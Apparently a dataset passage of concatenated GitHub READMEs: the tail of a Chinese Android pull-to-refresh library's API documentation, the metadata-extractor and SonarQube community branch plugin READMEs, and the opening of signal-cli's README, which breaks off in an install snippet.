``` public interface IRefreshView <T extends IIndicator> { byte TYPE_HEADER = 0; byte TYPE_FOOTER = 1; byte STYLE_DEFAULT = 0; byte STYLE_SCALE = 1; byte STYLE_PIN = 2; byte STYLE_FOLLOW_SCALE = 3; byte STYLE_FOLLOW_PIN = 4; byte STYLE_FOLLOW_CENTER = 5; /** * 返回是头部视图还是尾部视图; */ int getType(); /** * 一般情况都是View实现本接口,所以返回this; */ View getView(); /** * 获取视图样式,自1.4.8版本后支持6种样式,STYLE_DEFAULT、STYLE_SCALE、STYLE_PIN、STYLE_FOLLOW_SCALE、STYLE_FOLLOW_PIN、STYLE_FOLLOW_CENTER; */ int getStyle(); /** * 获取视图的自定义高度,当视图样式为STYLE_SCALE和STYLE_FOLLOW_SCALE时,必须返回一个确切且大于0的值,使用横向刷新库时,该属性实际应该返回的是视图的宽度; * 自1.6.1版本开始,如果想要当前视图铺满布局即MATCH_PARENT,那么支持返回ViewGroup.LayoutParams.MATCH_PARENT对应的值即`-1`; */ int getCustomHeight(); /** * 手指离开屏幕; */ void onFingerUp(SmoothRefreshLayout layout, T indicator); /** * 重置视图; */ void onReset(SmoothRefreshLayout layout); /** * 重新配置视图,准备刷新; */ void onRefreshPrepare(SmoothRefreshLayout layout); /** * 开始刷新; */ void onRefreshBegin(SmoothRefreshLayout layout, T indicator); /** * 刷新完成; */ void onRefreshComplete(SmoothRefreshLayout layout,boolean isSuccessful); /** * 当头部或者尾部视图发生位置变化; */ void onRefreshPositionChanged(SmoothRefreshLayout layout, byte status, T indicator); /** * 当头部或者尾部视图仍然处于处理事务中,这时候移动其他刷新视图则会调用该方法; * 在1.4.6版本新加入; */ void onPureScrollPositionChanged(SmoothRefreshLayout layout, byte status, T indicator); } ``` ##### 添加自定义刷新视图 - 全局静态代码构造 ``` SmoothRefreshLayout.setDefaultCreator(new IRefreshViewCreator() { @Override public IRefreshView<IIndicator> createHeader(SmoothRefreshLayout layout) { ClassicHeader header = new ClassicHeader(layout.getContext()); return header; } @Override public IRefreshView<IIndicator> createFooter(SmoothRefreshLayout layout) { ClassicFooter footer = new ClassicFooter(layout.getContext()); return footer; } }); ``` - 动态代码添加 ``` ClassicHeader header = new ClassicHeader(mRefreshLayout.getContext()); mRefreshLayout.setHeaderView(header); ClassicFooter footer = new ClassicFooter(mRefreshLayout.getContext()); mRefreshLayout.setFooterView(footer); ``` - 请直接写入Xml文件,SmoothRefreshLayout会根据添加的View是否是实现了IRefreshView接口进行判断 #### 实现类QQ下拉阻尼效果 ``` mRefreshLayout.setIndicatorOffsetCalculator(new IIndicator.IOffsetCalculator() { @Override public float calculate(@IIndicator.MovingStatus int status, int currentPos, float offset) { if (status == IIndicator.MOVING_HEADER) { if (offset < 0) { //如果希望拖动缩回时类似QQ一样没有阻尼效果,阻尼效果只存在于下拉则可以在此返回offset //如果希望拖动缩回时类似QQ一样有阻尼效果,那么请注释掉这个判断语句 return offset; } return (float) Math.pow(Math.pow(currentPos / 2, 1.28d) + offset, 1 / 1.28d) * 2 - currentPos; } else if (status == IIndicator.MOVING_FOOTER) { if (offset > 0) { //如果希望拖动缩回时类似QQ一样没有阻尼效果,阻尼效果只存在于上拉则可以在此返回offset //如果希望拖动缩回时类似QQ一样有阻尼效果,那么请注释掉这个判断语句 return offset; } return -((float) Math.pow(Math.pow(currentPos / 2, 1.28d) - offset, 1 / 1.28d) * 2 - currentPos); } else { if (offset > 0) { return (float) Math.pow(offset, 1 / 1.28d) * 2; } else if (offset < 0) { return -(float) Math.pow(-offset, 1 / 1.28d) * 2; } else { return offset; } } } }); ``` #### Xml属性 ##### SmoothRefreshLayout 自身配置 |名称|类型|描述| |:---:|:---:|:---:| |sr_content|reference|指定内容视图的资源ID| |sr_resistance|float|移动刷新视图时候的移动阻尼(默认:`1.65f`)| |sr_resistanceOfFooter|float|移动Footer视图时候的移动阻尼(默认:`1.65f`)| |sr_resistanceOfHeader|float|移动Header视图时候的移动阻尼(默认:`1.65f`)| |sr_ratioToRefresh|float|触发刷新时位置占刷新视图的高度比(默认:`1f`)| |sr_ratioOfHeaderToRefresh|float|触发刷新时位置占Header视图的高度比(默认:`1f`)| |sr_ratioOfFooterToRefresh|float|触发加载更多时位置占Footer视图的高度比(默认:`1f`)| |sr_ratioToKeep|float|刷新中保持视图位置占刷新视图的高度比(默认:`1f`),该属性的值必须小于等于触发刷新高度比才会有效果| |sr_ratioToKeepHeader|float|刷新中保持视图位置占Header视图的高度比(默认:`1f`),该属性的值必须小于等于触发刷新高度比才会有效果| |sr_ratioToKeepFooter|float|刷新中保持视图位置占Footer视图的高度比(默认:`1f`),该属性的值必须小于等于触发刷新高度比才会有效果| |sr_maxMoveRatio|float|最大移动距离占刷新视图的高度比(默认:`0f`,表示不会触发)| |sr_maxMoveRatioOfHeader|float|最大移动距离占Header视图的高度比(默认:`0f`,表示不会触发)| |sr_maxMoveRatioOfFooter|float|最大移动距离占Footer视图的高度比(默认:`0f`,表示不会触发)| |sr_closeDuration|integer|指定收缩刷新视图到起始位置的时长(默认:`350`)| |sr_closeHeaderDuration|integer|指定收缩Header视图到起始位置的时长(默认:`350`)| |sr_closeFooterDuration|integer|指定收缩Footer视图到起始位置的时长(默认:`350`)| |sr_backToKeepDuration|integer|设置回滚到保持刷新视图位置的时间(默认:`200`)| |sr_backToKeepHeaderDuration|integer|设置回滚到保持Header视图位置的时间(默认:`200`)| |sr_backToKeepFooterDuration|integer|设置回滚到保持Footer视图位置的时间(默认:`200`)| |sr_enablePinContent|boolean|固定内容视图(默认:`false`)| |sr_enableKeep|boolean|刷新中保持视图停留在所设置的应该停留的位置(默认:`true`)| |sr_enablePullToRefresh|boolean|拉动刷新,下拉或者上拉到触发刷新位置即立即触发刷新(默认:`false`)| |sr_enableOverScroll|boolean|越界回弹(默认:`true`)| |sr_enableRefresh|boolean|设置是否启用下拉刷新(默认:`ture`)| |sr_enableLoadMore|boolean|设置是否启用加载更多(默认:`false`)| |sr_mode|enum|模式设置(默认:`MODE_DEFAULT`为刷新控件模式)| |sr_stickyHeader|reference|指定黏贴头部的资源ID| |sr_stickyFooter|reference|指定黏贴尾部的资源ID| ##### TwoLevelSmoothRefreshLayout 自身配置 |名称|类型|描述| |:---:|:---:|:---:| |sr_enableTwoLevelRefresh|boolean|设置是否启用二级刷新(默认:`true`)| |sr_backToKeep2Duration|boolean|设置回滚到保持二级刷新头部处于二级刷新过程中的时长(默认:`500`)| |sr_closeHeader2Duration|boolean|设置关闭二级刷新头部的时长(默认:`500`)| ##### SmoothRefreshLayout包裹内部其他View支持配置 |名称|类型|描述| |:---:|:---:|:---:| |layout_gravity|flag|指定其它被包裹视图的对齐属性(非 targetView、非refreshView)| #### SmoothRefreshLayout java属性设置方法 |名称|参数|描述| |:---:|:---:|:---:| |setHeaderView|IRefreshView|配置头部视图| |setFooterView|IRefreshView|配置尾部视图| |setContentView|View|配置内容视图| |setMode|int|配置当前模式| |setLayoutManager|LayoutManager|配置自定义布局管理器| |setDisableWhenAnotherDirectionMove|boolean|内部视图含有其他方向滑动视图时需设置该属性为ture(默认:`false`)| |setMaxOverScrollDuration|int|设置越界回弹动画最长时间(默认:`350`)| |setMinOverScrollDuration|int|设置越界回弹动画最短时间(默认:`100`)| |setResistance|float|移动刷新视图时候的移动阻尼(默认:`1.65f`)| |setResistanceOfFooter|float|移动Footer视图时候的移动阻尼(默认:`1.65f`)| |setResistanceOfHeader|float|移动Header视图时候的移动阻尼(默认:`1.65f`)| |setRatioToRefresh|float|触发刷新时位置占刷新视图的高度比(默认:`1.1f`)| |setRatioOfHeaderToRefresh|float|触发刷新时位置占Header视图的高度比(默认:`1.1f`)| |setRatioOfFooterToRefresh|float|触发加载更多时位置占Footer视图的高度比(默认:`1.1f`)| |setRatioToKeep|float|刷新中保持视图位置占刷新视图的高度比(默认:`1f`),该属性的值必须小于等于触发刷新高度比才会有效果| |setRatioToKeepHeader|float|刷新中保持视图位置占Header视图的高度比(默认:`1f`),该属性的值必须小于等于触发刷新高度比才会有效果| |setRatioToKeepFooter|float|刷新中保持视图位置占Footer视图的高度比(默认:`1f`),该属性的值必须小于等于触发刷新高度比才会有效果| |setMaxMoveRatio|float|最大移动距离占刷新视图的高度比(默认:`0f`,表示不会触发)| |setMaxMoveRatioOfHeader|float|最大移动距离占Header视图的高度比(默认:`0f`,表示不会触发)| |setMaxMoveRatioOfFooter|float|最大移动距离占Footer视图的高度比(默认:`0f`,表示不会触发)| |setDurationToClose|int|指定收缩刷新视图到起始位置的时长(默认:`350`)| |setDurationToCloseHeader|int|指定收缩Header视图到起始位置的时长(默认:`350`)| |setDurationToCloseFooter|int|指定收缩Footer视图到起始位置的时长(默认:`350`)| |setDurationOfBackToKeep|integer|设置回滚到保持刷新视图位置的时间(默认:`200`)| |setDurationOfBackToKeepHeader|integer|设置回滚到保持Header视图位置的时间(默认:`200`)| |setDurationOfBackToKeepFooter|integer|设置回滚到保持Footer视图位置的时间(默认:`200`)| |setEnablePinContentView|boolean|固定内容视图(默认:`false`)| |setEnablePullToRefresh|boolean|拉动刷新,下拉或者上拉到触发刷新位置即立即触发刷新(默认:`false`)| |setEnableOverScroll|boolean|越界回弹(默认:`true`)| |setEnableInterceptEventWhileLoading|boolean|刷新中拦截不响应触摸操作(默认:`false`)| |setEnableHeaderDrawerStyle|boolean|Header抽屉样式,即Header视图在内容视图下面(默认:`false`)| |setEnableFooterDrawerStyle|boolean|Footer抽屉样式,即Footer视图在内容视图下面(默认:`false`)| |setDisablePerformRefresh|boolean|关闭触发Header刷新(默认:`false`)| |setDisablePerformLoadMore|boolean|关闭触发Footer刷新(默认:`false`)| |setEnableNoMoreData|boolean|设置Footer没有更多数据,该选项设置`true`时在Frame层等同`setDisablePerformLoadMore`设置为`true`,只是自定义视图可以根据该标志位改变视图样式,`ClassicFooter`默认实现了对该属性的支持(默认:`false`)| |setEnableNoMoreDataAndNoSpringBack|boolean|设置Footer没有更多数据且不再回弹| |setDisableRefresh|boolean|禁用Header刷新(默认:`false`)| |setDisableLoadMore|boolean|禁用Footer刷新(默认:`false`)| |setEnableKeepRefreshView|boolean|刷新中保持视图停留在所设置的应该停留的位置(默认:`true`)| |setEnableAutoRefresh|boolean|到顶部自动刷新(默认:`false`)| |setEnableAutoLoadMore|boolean|到底部自动加载(默认:`false`)| |setEnablePinRefreshViewWhileLoading|boolean|固定刷新视图在所设置的应该停留的位置,并且不响应移动,即Material样式(默认:`false`),设置开启会同时开启`setEnablePinContentView`和`setEnableKeepRefreshView`2个选项| |setSpringInterpolator|Interpolator|设置主动弹出时的滚动插值器| |setSpringBackInterpolator|Interpolator|设置释放时的滚动插值器| |setEnableCompatSyncScroll|boolean|设置是否开启回滚时的同步滚动(默认:`true`)| |setDisableLoadMoreWhenContentNotFull|boolean|设置当内容视图未满屏时关闭加载更多| |setStickyHeaderResId|int|设置黏贴头部视图的资源ID| |setStickyFooterResId|int|设置黏贴头部视图的资源ID| |setEnableOldTouchHandling|boolean|设置启用老版本的触摸事件处理逻辑| |setScrollTargetView|View|设置判断是否滚到到边界对应的视图,例如在SmoothRefreshLayout中有一个CoordinatorLayout,CoordinatorLayout中有AppbarLayout、RecyclerView等,加载更多时希望被移动的视图为RecyclerView而不是CoordinatorLayout,那么设置RecyclerView为TargetView即可| #### SmoothRefreshLayout 回调 |名称|参数|描述| |:---:|:---:|:---:| |setOnRefreshListener|T extends OnRefreshListener|设置刷新事件监听回调| |addLifecycleObserver|ILifecycleObserver|添加生命周期监听| |addOnStatusChangedListener|addOnStatusChangedListener|设置内部状态改变回调| |addOnUIPositionChangedListener|OnUIPositionChangedListener|添加视图位置变化的监听回调| |setOnSyncScrollCallback|OnSyncScrollCallback|设置完成刷新后进行平滑滚动的回调| |setOnPerformAutoLoadMoreCallBack|OnPerformAutoLoadMoreCallBack|设置触发自动加载更多的条件回调,如果回调的`canAutoLoadMore()`方法返回`true`则会立即触发加载更多| |setOnPerformAutoRefreshCallBack|OnPerformAutoRefreshCallBack|设置触发自动刷新的条件回调,如果回调的`canAutoRefresh()`方法返回`true`则会立即触发刷新| |setOnHeaderEdgeDetectCallBack|OnHeaderEdgeDetectCallBack|设置检查内容视图是否在顶部的重载回调(SmoothRefreshLayout内部`isNotYetInEdgeCannotMoveHeader()`方法)| |setOnFooterEdgeDetectCallBack|OnFooterEdgeDetectCallBack|设置检查内容视图是否在底部的重载回调(SmoothRefreshLayout内部`isNotYetInEdgeCannotMoveFooter()`方法)| |setOnHookHeaderRefreshCompleteCallback|OnHookUIRefreshCompleteCallBack|设置Header刷新完成的Hook回调,可实现延迟完成刷新| |setOnHookFooterRefreshCompleteCallback|OnHookUIRefreshCompleteCallBack|设置Footer刷新完成的Hook回调,可实现延迟完成刷新| #### SmoothRefreshLayout 其它 |名称|参数|描述| |:---:|:---:|:---:| |setDefaultCreator(静态方法)|IRefreshViewCreator|设置刷新视图创建者,如果没有特殊指定刷新视图且设置的模式需要刷新视图则会调用创建者构建刷新视图| |refreshComplete|无参|刷新完成,且设置最后一次刷新状态为成功| |refreshComplete|boolean|刷新完成,参数:设置最后一次刷新是否刷新成功| |refreshComplete|boolean,long|刷新完成,参数1:设置最后一次刷新是否刷新成功,参数2:设置延迟重置刷新状态的时间(会先触发刷新视图的刷新完成回调,但在延迟的时间内库实际上状态仍是刷新状态)| |refreshComplete|long|刷新完成,且设置最后一次刷新状态为成功,参数:设置延迟重置刷新状态的时间(会先触发刷新视图的刷新完成回调,但在延迟的时间内库实际上状态仍是刷新状态)| |setLoadingMinTime|long|设置开始刷新到结束刷新的最小时间差(默认:`500`),参数:时间差| |autoRefresh|无参|自动触发Header刷新,立即触发刷新事件并滚动到触发Header刷新位置| |autoRefresh|boolean|自动触发Header刷新,参数:是否立即触发刷新事件,会滚动到触发Header刷新位置| |autoRefresh|boolean,boolean|自动触发Header刷新,参数1:是否立即触发刷新事件,参数2:是否滚动到触发Header刷新位置| |forceRefresh|无参|强制触发Footer刷新,该方法不会触发滚动| |autoLoadMore|无参|自动触发Footer刷新,立即触发刷新事件并滚动到触发Footer刷新位置| |autoLoadMore|boolean|自动触发Footer刷新,参数:是否立即触发刷新事件,会滚动到触发Footer刷新位置| |autoLoadMore|boolean,boolean|自动触发Footer刷新,参数1:是否立即触发刷新事件,参数2:是否滚动到触发Footer刷新位置| |forceLoadMore|无参|强制触发Footer刷新,该方法不会触发滚动| #### TwoLevelSmoothRefreshLayout java属性设置方法 |名称|参数|描述| |:---:|:---:|:---:| |setRatioOfHeaderToHintTwoLevel|float|设置触发二级刷新提示时的位置占Header视图的高度比| |setRatioOfHeaderToTwoLevel|float|设置触发二级刷新时的位置占Header视图的高度比| |setRatioToKeepTwoLevelHeader|float|二级刷新中保持视图位置占Header视图的高度比(默认:`1f`)| |setDisableTwoLevelRefresh|boolean|设置是否关闭二级刷新(默认:`false`)| |setDurationOfBackToKeepTwoLevel|int|设置回滚到保持二级刷新Header视图位置的时间(默认:`500`)| |setDurationToCloseTwoLevel|int|设置二级刷新Header刷新完成回滚到起始位置的时间(默认:`500`)| #### TwoLevelSmoothRefreshLayout 其它 |名称|参数|描述| |:---:|:---:|:---:| |autoTwoLevelRefreshHint|无参|自动触发二级刷新提示并滚动到触发提示位置后回滚回起始位置| |autoTwoLevelRefreshHint|int|自动触发二级刷新提示并滚动到触发提示位置后停留指定时长,参数:停留多长时间| |autoTwoLevelRefreshHint|boolean|自动触发二级刷新提示是否滚动到触发提示位置后回滚回起始位置,参数:是否滚到到触发位置| |autoTwoLevelRefreshHint|boolean,int|自动触发二级刷新提示,参数1:是否滚动到触发位置,参数2:停留多长时间| |autoTwoLevelRefreshHint|boolean,int,boolean|自动触发二级刷新提示,参数1:是否滚动到触发位置,参数2:停留多长时间,参数3:是否可以被触摸打断,即触发提示动作过程中拦截触摸事件,直到回滚到起始位置并重置为默认状态| ## Thanks - [liaohuqiu android-Ultra-Pull-To-Refresh](https://github.com/liaohuqiu/android-Ultra-Pull-To-Refresh) - [pnikosis material-progress](https://github.com/pnikosis/materialish-progress) ## License MIT License Copyright (c) 2017 dkzwm Copyright (c) 2015 liaohuqiu.net Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
0
drewnoakes/metadata-extractor
Extracts Exif, IPTC, XMP, ICC and other metadata from image, video and audio files
2014-11-19T00:13:55Z
null
![metadata-extractor logo](https://cdn.rawgit.com/drewnoakes/metadata-extractor/master/Resources/metadata-extractor-logo.svg) [![metadata-extractor build status](https://github.com/drewnoakes/metadata-extractor/actions/workflows/maven.yml/badge.svg)](https://github.com/drewnoakes/metadata-extractor/actions/workflows/maven.yml) [![Maven Central](https://img.shields.io/maven-central/v/com.drewnoakes/metadata-extractor.svg?maxAge=2592000)](https://mvnrepository.com/artifact/com.drewnoakes/metadata-extractor) [![Donate](https://img.shields.io/badge/paypal-donate-yellow.svg)](https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=TNXDJKCDV5Z2C&lc=GB&item_name=Drew%20Noakes&item_number=metadata%2dextractor&no_note=0&cn=Add%20a%20message%20%28optional%29%3a&no_shipping=1&currency_code=GBP&bn=PP%2dDonationsBF%3abtn_donateCC_LG%2egif%3aNonHosted) _metadata-extractor_ is a Java library for reading metadata from media files. ## Installation The easiest way is to install the library via its [Maven package](http://search.maven.org/#search%7Cgav%7C1%7Cg%3A%22com.drewnoakes%22%20AND%20a%3A%22metadata-extractor%22). ```xml <dependency> <groupId>com.drewnoakes</groupId> <artifactId>metadata-extractor</artifactId> <version>2.19.0</version> </dependency> ``` Alternatively, download it from the [releases page](https://github.com/drewnoakes/metadata-extractor/releases). ## Usage ```java Metadata metadata = ImageMetadataReader.readMetadata(imagePath); ``` With that `Metadata` instance, you can [iterate or query](https://github.com/drewnoakes/metadata-extractor/wiki/Getting-Started-(Java)#2-query-tags) the [various tag values](https://github.com/drewnoakes/metadata-extractor/wiki/SampleOutput) that were read from the image. ## Features The library understands several formats of metadata, many of which may be present in a single image: * [Exif](https://en.wikipedia.org/wiki/Exchangeable_image_file_format) * [IPTC](https://en.wikipedia.org/wiki/IPTC) * [XMP](https://en.wikipedia.org/wiki/Extensible_Metadata_Platform) * [JFIF / JFXX](https://en.wikipedia.org/wiki/JPEG_File_Interchange_Format) * [ICC Profiles](https://en.wikipedia.org/wiki/ICC_profile) * [Photoshop](https://en.wikipedia.org/wiki/Photoshop) fields * [WebP](https://en.wikipedia.org/wiki/WebP) properties * [WAV](https://en.wikipedia.org/wiki/WAV) properties * [AVI](https://en.wikipedia.org/wiki/Audio_Video_Interleave) properties * [PNG](https://en.wikipedia.org/wiki/Portable_Network_Graphics) properties * [BMP](https://en.wikipedia.org/wiki/BMP_file_format) properties * [GIF](https://en.wikipedia.org/wiki/Graphics_Interchange_Format) properties * [ICO](https://en.wikipedia.org/wiki/ICO_(file_format)) properties * [PCX](https://en.wikipedia.org/wiki/PCX) properties * [QuickTime](https://en.wikipedia.org/wiki/QuickTime_File_Format) properties * [MP4](https://en.wikipedia.org/wiki/MPEG-4_Part_14) properties It will process files of type: * JPEG * TIFF * WebP * WAV * AVI * PSD * PNG * BMP * GIF * HEIF (HEIC & AVIF) * ICO * PCX * QuickTime * MP4 * Camera Raw * NEF (Nikon) * CR2 (Canon) * ORF (Olympus) * ARW (Sony) * RW2 (Panasonic) * RWL (Leica) * SRW (Samsung) Camera-specific "makernote" data is decoded for cameras manufactured by: * Agfa * Apple * Canon * Casio * Epson * Fujifilm * Kodak * Kyocera * Leica * Minolta * Nikon * Olympus * Panasonic * Pentax * Reconyx * Sanyo * Sigma/Foveon * Sony Read [getting started](https://github.com/drewnoakes/metadata-extractor/wiki/Getting-Started) for an introduction to the basics of using this library. ## Questions & Feedback The quickest way to have your questions answered is via [Stack Overflow](http://stackoverflow.com/questions/tagged/metadata-extractor). Check whether your question has already been asked, and if not, ask a new one tagged with both `metadata-extractor` and `java`. Bugs and feature requests should be provided via the project's [issue tracker](https://github.com/drewnoakes/metadata-extractor/issues). Please attach sample images where possible as most issues cannot be investigated without an image. ## Contributing If you want to get your hands dirty, making a pull request is a great way to enhance the library. In general it's best to create an issue first that captures the problem you want to address. You can discuss your proposed solution in that issue. This gives others a chance to provide feedback before you spend your valuable time working on it. An easier way to help is to contribute to the [sample image file library](https://github.com/drewnoakes/metadata-extractor-images/wiki) used for research and testing. ## Credits This library is developed by [Drew Noakes](https://drewnoakes.com/code/exif/). Thanks are due to the many [users](https://github.com/drewnoakes/metadata-extractor/wiki/UsedBy) who sent in suggestions, bug reports, [sample images](https://github.com/drewnoakes/metadata-extractor-images/wiki) from their cameras as well as encouragement. Wherever possible, they have been credited in the source code and commit logs. ## Other languages - .NET [metadata-extractor-dotnet](https://github.com/drewnoakes/metadata-extractor-dotnet) is a complete port to C#, maintained alongside this library - PHP [php-metadata-extractor](https://github.com/gomoob/php-metadata-extractor) wraps this Java project, making it available to users of PHP - Clojure [exif-processor](https://github.com/joshuamiller/exif-processor) wraps this Java project, returning a subset of data --- More information about this project is available at: * https://drewnoakes.com/code/exif/ * https://github.com/drewnoakes/metadata-extractor/
0
mc1arke/sonarqube-community-branch-plugin
A plugin that allows branch analysis and pull request decoration in the Community version of Sonarqube
2019-03-04T19:24:36Z
null
[![Quality Gate Status](https://sonarcloud.io/api/project_badges/measure?project=mc1arke_sonarqube-community-branch-plugin&metric=alert_status)](https://sonarcloud.io/dashboard?id=mc1arke_sonarqube-community-branch-plugin) [![Build Status](https://img.shields.io/github/actions/workflow/status/mc1arke/sonarqube-community-branch-plugin/.github/workflows/build.yml?branch=master&logo=github)](https://github.com/mc1arke/sonarqube-community-branch-plugin?workflow=build) # Sonarqube Community Branch Plugin A plugin for SonarQube to allow branch analysis in the Community version. # Support This plugin is not maintained or supported by SonarSource and has no official upgrade path for migrating from the SonarQube Community Edition to any of the Commercial Editions (Developer, Enterprise, or Data Center Edition). Support for any problems is only available through issues on the Github repository or through alternative channels (e.g. StackOverflow) and any attempt to request support for this plugin directly from SonarSource or an affiliated channel ( e.g. Sonar Community forum) is likely to result in your request being closed or ignored. If you plan on migrating your SonarQube data to a commercial edition after using this plugin then please be aware that this may result in some or all of your data being lost due to this compatibility of this plugin and the official SonarQube branch features being untested. # Compatibility Use the following table to find the correct plugin version for each SonarQube version SonarQube Version | Plugin Version ------------------|--------------- 10.3 | 1.18.0 10.2 | 1.17.1 10.1 | 1.16.0 10.0 | 1.15.0 9.9 (LTS) | 1.14.0 Older versions are listed on the Github release page but are no longer supported. # Features The plugin is intended to support the [features and parameters from the SonarQube documentation](https://docs.sonarqube.org/latest/branches/overview/). # Installation ## Manual Install __Please ensure you follow the installation instructions for the version of the plugin you're installing by looking at the README on the relevant release tag.__ Either build the project or [download a compatible release version of the plugin JAR](https://github.com/mc1arke/sonarqube-community-branch-plugin/releases) . 1. Copy the plugin JAR file to the `extensions/plugins/` directory of your SonarQube instance 2. Add `-javaagent:./extensions/plugins/sonarqube-community-branch-plugin-${version}.jar=web` to the `sonar.web.javaAdditionalOpts` property in your Sonarqube installation's `conf/sonar.properties` file, e.g. `sonar.web.javaAdditionalOpts=-javaagent:./extensions/plugins/sonarqube-community-branch-plugin-${version}.jar=web` where ${version} is the version of the plugin being worked with. e.g `1.8.0` 3. Add `-javaagent:./extensions/plugins/sonarqube-community-branch-plugin-${version}.jar=ce` to the `sonar.ce.javaAdditionalOpts` property in your Sonarqube installation's `conf/sonar.properties` file, e.g. `sonar.ce.javaAdditionalOpts=-javaagent:./extensions/plugins/sonarqube-community-branch-plugin-${version}.jar=ce` 4. Start Sonarqube, and accept the warning about using third-party plugins ## Docker The plugin is distributed in the [mc1arke/sonarqube-with-community-branch-plugin](https://hub.docker.com/r/mc1arke/sonarqube-with-community-branch-plugin) Docker image, with the image versions matching the up-stream Sonarqube image version. __Note:__ If you're setting the `SONAR_WEB_JAVAADDITIONALOPTS` or `SONAR_CE_JAVAADDITIONALOPTS` environment variables in your container launch then you'll need to add the `javaagent` configuration to your overrides to match what's in the provided Dockerfile. ## Docker Compose A `docker-compose.yml` file is provided. It uses the env variables available in `.env`. To use it, clone the repository and execute `docker-compose up`. Note that you need to have docker-compose installed in your system and added to your PATH ## Kubernetes with official Helm Chart When using [Sonarqube official Helm Chart](https://github.com/SonarSource/helm-chart-sonarqube/tree/master/charts/sonarqube), you need to add the following settings to your helm values, where `${version}` should be replaced with the plugin version (e.g. `1.11.0`). Beware of the changes made in helm chart version [6.1.0](https://github.com/SonarSource/helm-chart-sonarqube/blob/master/charts/sonarqube/CHANGELOG.md#610): ### helm chart version < 6.1.0 ```yaml plugins: install: - https://github.com/mc1arke/sonarqube-community-branch-plugin/releases/download/${version}/sonarqube-community-branch-plugin-${version}.jar lib: - sonarqube-community-branch-plugin-${version}.jar jvmOpts: "-javaagent:/opt/sonarqube/lib/common/sonarqube-community-branch-plugin-${version}.jar=web" jvmCeOpts: "-javaagent:/opt/sonarqube/lib/common/sonarqube-community-branch-plugin-${version}.jar=ce" ``` ### helm chart version >= 6.1.0 ```yaml plugins: install: - https://github.com/mc1arke/sonarqube-community-branch-plugin/releases/download/${version}/sonarqube-community-branch-plugin-${version}.jar jvmOpts: "-javaagent:/opt/sonarqube/extensions/plugins/sonarqube-community-branch-plugin-${version}.jar=web" jvmCeOpts: "-javaagent:/opt/sonarqube/extensions/plugins/sonarqube-community-branch-plugin-${version}.jar=ce" ``` ### Issues with file path with persistency If you set `persistence.enabled=true` on SonarQube chart, the plugin might be copied to this path, based on the helm chart version, mentioned above (`${plugin-path}` equals `lib/common` or `extensions/plugins`): ``` /opt/sonarqube/${plugin-path}/sonarqube-community-branch-plugin-${version}.jar/sonarqube-community-branch-plugin-${version}.jar ``` instead of this: ``` /opt/sonarqube/${plugin-path}/sonarqube-community-branch-plugin-${version}.jar ``` As a workaround either change the paths in the config above, or exec into the container and move file up the directory to match the config. # Configuration ## Global configuration Make sure `sonar.core.serverBaseURL` in SonarQube [/admin/settings](http://localhost:9000/admin/settings) is properly set in order to for the links in the comment to work. Set all other properties that you can define globally for all of your projects. ## How to decorate a Pull Request In order to decorate your Pull Request's source branch, you need to analyze your target branch first. ### Run analysis of branches If the scan is being run from a CI supporting auto-configuration then the scanner can be launched without any branch parameters. Otherwise, the analysis needs the following setting: `sonar.branch.name = branch_name (e.g master)` ### Run analysis of the PR branch Carefully read the official SonarQube guide for [pull request decoration](https://docs.sonarqube.org/latest/analysis/pull-request/) In there you'll find the following properties that need to be set, unless your CI support auto-configuration. ``` sonar.pullrequest.key = pull_request_id (e.g. 100) sonar.pullrequest.branch = source_branch_name (e.g feature/TICKET-123) sonar.pullrequest.base = target_branch_name (e.g master) ``` :warning: There must not be any `sonar.branch` properties like `sonar.branch.name` arguments set when you analyze a pull-request. These properties indicate to sonar that a branch is being analyzed rather than a pull-request so no pull-request decoration will be executed. ## Serving images for PR decoration By default, images for PR decoration are served as static resources on the SonarQube server as a part of Community Branch Plugin. If you use a SonarQube server behind a firewall and/or PR service (Github, Gitlab etc.) doesn't have access to SonarQube server, you should change `Images base URL` property in `General > Pull Request` settings. Anyone needing to set this value can use the URL `https://raw.githubusercontent.com/mc1arke/sonarqube-community-branch-plugin/master/src/main/resources/static`, or download the files from this location and host them themself. # Building the plugin from source If you want to try and test the current branch or build it for your development execute `./gradlew clean build` inside of the project directory. This will put the built jar under `libs/sonarqube-community-branch-plugin*.jar`
0
AsamK/signal-cli
signal-cli provides an unofficial commandline, JSON-RPC and dbus interface for the Signal messenger.
2015-05-11T10:49:42Z
null
# signal-cli signal-cli is a commandline interface for the [Signal messenger](https://signal.org/). It supports registering, verifying, sending and receiving messages. signal-cli uses a [patched libsignal-service-java](https://github.com/Turasa/libsignal-service-java), extracted from the [Signal-Android source code](https://github.com/signalapp/Signal-Android/tree/main/libsignal-service). For registering you need a phone number where you can receive SMS or incoming calls. signal-cli is primarily intended to be used on servers to notify admins of important events. For this use-case, it has a daemon mode with JSON-RPC interface ([man page](https://github.com/AsamK/signal-cli/blob/master/man/signal-cli-jsonrpc.5.adoc)) and D-BUS interface ([man page](https://github.com/AsamK/signal-cli/blob/master/man/signal-cli-dbus.5.adoc)) . For the JSON-RPC interface there's also a simple [example client](https://github.com/AsamK/signal-cli/tree/master/client), written in Rust. ## Installation You can [build signal-cli](#building) yourself or use the [provided binary files](https://github.com/AsamK/signal-cli/releases/latest), which should work on Linux, macOS and Windows. There's also a [docker image and some Linux packages](https://github.com/AsamK/signal-cli/wiki/Binary-distributions) provided by the community. System requirements: - at least Java Runtime Environment (JRE) 21 - native library: libsignal-client The native libs are bundled for x86_64 Linux (with recent enough glibc), Windows and MacOS. For other systems/architectures see: [Provide native lib for libsignal](https://github.com/AsamK/signal-cli/wiki/Provide-native-lib-for-libsignal) ### Install system-wide on Linux See [latest version](https://github.com/AsamK/signal-cli/releases). ```sh export VERSION=<latest version, format "x.y.z"> 